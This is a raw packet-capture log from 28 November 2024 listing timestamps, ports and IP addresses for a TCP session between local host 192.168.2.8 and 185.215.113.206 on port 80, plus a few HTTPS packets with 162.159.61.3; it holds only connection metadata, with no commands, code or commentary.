Nov 28, 2024 08:55:47.680779934 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.684653997 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.684722900 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.684762955 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.684895039 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.688551903 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.688608885 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.688673973 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.688750982 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.692416906 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.692475080 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.692533970 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.692588091 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.696280956 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.696333885 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.696394920 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.696450949 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.700145006 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.700196028 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.700268984 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.700354099 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.703994989 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.704045057 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.704065084 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.704193115 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.707835913 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.707930088 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.707953930 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.708105087 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.711675882 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.711725950 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.711791039 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.711838961 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.715570927 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.715620041 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.715655088 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.715816021 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.719407082 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.719485998 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.719502926 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.719738960 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.723308086 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.723366976 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.723447084 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.723545074 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.727089882 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.727160931 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.727210999 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.730952024 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.731036901 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.731072903 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.731115103 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.734803915 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.734878063 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.734910011 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.734951973 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.738657951 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.738717079 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.738727093 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.739001989 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.742499113 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.742556095 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.742588997 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.742624044 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.746437073 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.746495962 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.746499062 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.746537924 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.750245094 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.750292063 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.750324011 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.750391006 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.754071951 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.754141092 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.754187107 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.757936001 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.757989883 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.758033991 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.758083105 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.762177944 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.762224913 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.762268066 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.762327909 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.765619040 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.765665054 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.765731096 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.765777111 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.769515038 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.769562960 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.769606113 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.769643068 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.773361921 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.773413897 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.773422956 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.773623943 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.777205944 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.777275085 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.777314901 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.777439117 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.781068087 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.781122923 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.781224966 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.781264067 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.784909964 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.785077095 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.857722998 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.857789040 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.857805967 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.857880116 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.859076023 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.859107018 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.859143972 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.859157085 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.861643076 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.861726999 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.862586021 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.862642050 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.862698078 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.862742901 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.865292072 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.865362883 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.865384102 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.865408897 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.867875099 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.867948055 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.867953062 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.868118048 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.870287895 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.870362997 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.870424032 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.872837067 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.872896910 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.872958899 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.875283003 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.875344038 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.875403881 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.875451088 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.877804995 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.877870083 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.877938986 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.878144026 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.880152941 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.880290985 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.880319118 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.880495071 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.882554054 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.882669926 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.882742882 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.885005951 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.885099888 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.885149002 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.887330055 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.887389898 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.887432098 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.887504101 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.889647007 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.889698982 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.889750957 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.889794111 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.892016888 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.892060995 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.892069101 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.892888069 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.894299030 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.894361973 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.894406080 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.894517899 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.896559000 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.896657944 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.896696091 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.896758080 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.898832083 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.898896933 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.898921013 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.898977041 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.901072979 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.901123047 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.901132107 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.901165009 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.903317928 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.903388977 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.903470993 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.903529882 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.904661894 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.904721975 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.904793978 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.904951096 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.906045914 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.906109095 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.906136990 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.906202078 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.907402039 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.907463074 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.907526016 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.907577991 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.908739090 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.908808947 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.908838034 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.909018993 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.910092115 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.910165071 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.910203934 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.910332918 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.911468029 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.911535025 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.911569118 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.911612988 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.912827015 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.912923098 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.912985086 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.914222002 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.914302111 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.914478064 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.914532900 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.915570974 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.915628910 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.915756941 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.915808916 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.916867971 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.916975021 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.917037964 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.918317080 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.918375015 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.918473959 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.918525934 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.919616938 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.919668913 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.919693947 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.919853926 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.920943975 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.921010971 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.921049118 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.921103954 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.922346115 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.922406912 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.922420025 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.922498941 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.923629045 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.923687935 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.923764944 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.925005913 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.925097942 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.925139904 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.925210953 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.926377058 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.926536083 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.926603079 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.927850962 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.927932978 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.927990913 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.929337025 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.929498911 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.929572105 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.930824041 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.930905104 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.930922985 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.930995941 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.931788921 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.931855917 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.931900024 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.931946039 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.933170080 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.933234930 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.933273077 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.933332920 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.934529066 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.934597015 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.934629917 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.934664011 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.935893059 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.936008930 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.936083078 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.937253952 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.937311888 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.937335014 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.937407017 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.938585043 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.938653946 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.938700914 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.938880920 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.940076113 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.940094948 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.940133095 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.940149069 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.941323042 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.941337109 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.941438913 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.941438913 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.942666054 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.942725897 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.942797899 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.942851067 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.944024086 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.944087982 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.944139004 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.944184065 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.945391893 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.945449114 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.945487022 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.945686102 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.946795940 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.946854115 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.946886063 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.946940899 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:48.034210920 CET	443	49780	162.159.61.3	192.168.2.8
Nov 28, 2024 08:55:48.034281969 CET	443	49780	162.159.61.3	192.168.2.8
Nov 28, 2024 08:55:48.034439087 CET	49780	443	192.168.2.8	162.159.61.3
Nov 28, 2024 08:55:48.034652948 CET	49780	443	192.168.2.8	162.159.61.3
Nov 28, 2024 08:55:48.034663916 CET	443	49780	162.159.61.3	192.168.2.8
Nov 28, 2024 08:55:48.068454981 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:48.068526030 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:48.068558931 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:48.068608999 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:48.068887949 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:48.068953037 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:48.068999052 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:48.069056988 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:48.069992065 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:48.070105076 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:48.070142984 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:48.070177078 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:48.071088076 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:48.071142912 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:48.071173906 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:48.071217060 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:48.072125912 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:48.072190046 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:48.072205067 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:48.072452068 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:48.073219061 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:48.073297024 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:48.073326111 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:48.073432922 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:48.074341059 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:48.074397087 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:48.074426889 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:48.074475050 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:48.075426102 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:48.075442076 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:48.075485945 CET	49748	80	192.168.2.8	185.215.113.206
